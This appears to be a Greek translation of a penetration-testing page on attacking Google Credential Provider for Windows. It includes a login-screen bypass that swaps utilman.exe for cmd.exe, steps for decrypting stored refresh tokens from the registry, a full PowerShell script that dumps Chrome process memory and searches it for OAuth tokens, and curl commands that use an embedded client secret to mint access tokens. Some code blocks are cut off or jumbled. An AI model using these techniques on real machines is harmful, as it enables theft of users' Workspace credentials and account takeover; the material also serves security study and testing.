Αυτό είναι το single sign-on που παρέχει το Google Workspaces ώστε οι χρήστες να μπορούν να συνδεθούν στους υπολογιστές Windows χρησιμοποιώντας τα διαπιστευτήρια του Workspace τους. Επιπλέον, αυτό θα αποθηκεύσει tokens για την πρόσβαση στο Google Workspace σε ορισμένες θέσεις στον υπολογιστή.
Note that Winpeas is capable to detect GCPW, get information about the configuration and even tokens.
GCPW - MitM
Όταν ένας χρήστης αποκτά πρόσβαση σε έναν υπολογιστή Windows συγχρονισμένο με το Google Workspace μέσω GCPW, θα χρειαστεί να συμπληρώσει μια κοινή φόρμα σύνδεσης. Αυτή η φόρμα σύνδεσης θα επιστρέψει έναν κωδικό OAuth που ο υπολογιστής θα ανταλλάξει για το refresh token σε ένα αίτημα όπως:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Νέες γραμμές έχουν προστεθεί για να είναι πιο αναγνώσιμες.
Ήταν δυνατό να εκτελεστεί ένα MitM εγκαθιστώντας το Proxifier στον υπολογιστή, αντικαθιστώντας το δυαδικό αρχείο utilman.exe με ένα cmd.exe και εκτελώντας τις λειτουργίες προσβασιμότητας στη σελίδα σύνδεσης των Windows, οι οποίες θα εκτελέσουν ένα CMD από το οποίο μπορείτε να εκκινήσετε και να ρυθμίσετε το Proxifier.
Μην ξεχάσετε να μπλοκάρετε την κυκλοφορία QUICK UDP στο Proxifier ώστε να υποβαθμιστεί σε επικοινωνία TCP και να μπορείτε να τη δείτε.
Επίσης, ρυθμίστε στις "Υπηρεσίες και άλλοι χρήστες" και τις δύο επιλογές και εγκαταστήστε το πιστοποιητικό Burp CA στα Windows.
Επιπλέον, προσθέτοντας τα κλειδιά enable_verbose_logging = 1 και log_file_path = C:\Public\gcpw.log στο HKLM:\SOFTWARE\Google\GCPW είναι δυνατό να αποθηκεύει κάποια αρχεία καταγραφής.
GCPW - Δακτυλικό αποτύπωμα
Είναι δυνατό να ελέγξετε αν το GCPW είναι εγκατεστημένο σε μια συσκευή ελέγχοντας αν υπάρχει η παρακάτω διαδικασία ή αν υπάρχουν τα παρακάτω κλειδιά μητρώου:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
Στο HKCU:\SOFTWARE\Google\Accounts είναι δυνατή η πρόσβαση στο email του χρήστη και στο κρυπτογραφημένο refresh token αν ο χρήστης έχει συνδεθεί πρόσφατα.
Στο HKLM:\SOFTWARE\Google\GCPW\Users είναι δυνατή η εύρεση των domains που επιτρέπεται να συνδεθούν στο κλειδί domains_allowed και σε υποκλειδιά είναι δυνατή η εύρεση πληροφοριών σχετικά με τον χρήστη όπως email, pic, όνομα χρήστη, διάρκεια ζωής token, handle token...
Το handle token είναι ένα token που ξεκινά με eth. και από το οποίο μπορεί να εξαχθεί κάποια πληροφορία με ένα αίτημα όπως:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Επίσης, είναι δυνατόν να βρείτε το token handle ενός access token με ένα αίτημα όπως:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle":"eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"}
Αφού γνωρίζω, δεν είναι δυνατόν να αποκτηθεί ένα refresh token ή access token από το token handle.
Επιπλέον, το αρχείο C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse είναι ένα json που περιέχει τις πληροφορίες διαφόρων ρυθμίσεων όπως enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (αν αρκετοί χρήστες από το Workspace μπορούν να συνδεθούν στον υπολογιστή) και validityPeriodDays (αριθμός ημερών που ένας χρήστης δεν χρειάζεται να επαληθευτεί απευθείας με την Google).
GCPW - Λάβετε Tokens
GCPW - Ανανεώστε Tokens Μητρώου
Μέσα στο μητρώο HKCU:\SOFTWARE\Google\Accounts μπορεί να είναι δυνατόν να βρείτε κάποιους λογαριασμούς με το refresh_token κρυπτογραφημένο μέσα. Η μέθοδος ProtectedData.Unprotect μπορεί εύκολα να το αποκρυπτογραφήσει.
Λάβετε HKCU:\SOFTWARE\Google\Accounts δεδομένα και αποκρυπτογραφήστε τα refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=FEQxHRRP_5I), αν δεν βρείτε το token στο μητρώο, είναι δυνατόν να τροποποιήσετε την τιμή (ή να διαγράψετε) από **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** και την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στον υπολογιστή, θα χρειαστεί να συνδεθεί ξανά και το **token θα αποθηκευτεί στο προηγούμενο μητρώο**.
### GCPW - Δίσκοι Ανανεωτικών Tokens
Το αρχείο **`%LocalAppData%\Google\Chrome\User Data\Local State`** αποθηκεύει το κλειδί για την αποκρυπτογράφηση των **`refresh_tokens`** που βρίσκονται μέσα στα **προφίλ Google Chrome** του χρήστη όπως:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Είναι δυνατόν να βρείτε κάποιο **C# κώδικα** που έχει πρόσβαση σε αυτά τα tokens με αποκρυπτογραφημένο τρόπο στο [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Επιπλέον, η κρυπτογράφηση μπορεί να βρεθεί σε αυτόν τον κώδικα: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Μπορεί να παρατηρηθεί ότι χρησιμοποιείται το AESGCM, το κρυπτογραφημένο token ξεκινά με μια **έκδοση** (**`v10`** αυτή τη στιγμή), στη συνέχεια [**έχει 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), και στη συνέχεια έχει το **cypher-text** με ένα τελικό **mac 16B**.
### GCPW - Dumping tokens από τη μνήμη διαδικασιών
Το παρακάτω σενάριο μπορεί να χρησιμοποιηθεί για να **dump** κάθε **Chrome** διαδικασία χρησιμοποιώντας το `procdump`, να εξάγει τις **αλφαβητικές σειρές** και στη συνέχεια να **αναζητήσει** σειρές σχετικές με **access και refresh tokens**. Αν το Chrome είναι συνδεδεμένο σε κάποια Google τοποθεσία, κάποια **διαδικασία θα αποθηκεύει refresh και/ή access tokens στη μνήμη!**
<details>
<summary>Dump Chrome processes and search tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Δοκίμασα το ίδιο με το gcpw_extension.exe αλλά δεν βρήκε κανένα token.
Για κάποιο λόγο, ορισμένα εξαγόμενα access tokens δεν θα είναι έγκυρα (αν και ορισμένα θα είναι). Δοκίμασα το παρακάτω script για να αφαιρέσω χαρακτήρες 1 προς 1 για να προσπαθήσω να βρω το έγκυρο token από το dump. Ποτέ δεν με βοήθησε να βρω ένα έγκυρο, αλλά ίσως να βοηθήσει:
Έλεγχος access token αφαιρώντας χαρακτήρες 1 προς 1
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια
Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατό να ζητήσετε οποιοδήποτε scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token.
Επίσης, το refresh token δεν είναι έγκυρο σε κάθε εφαρμογή.
By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token to generate an access_token: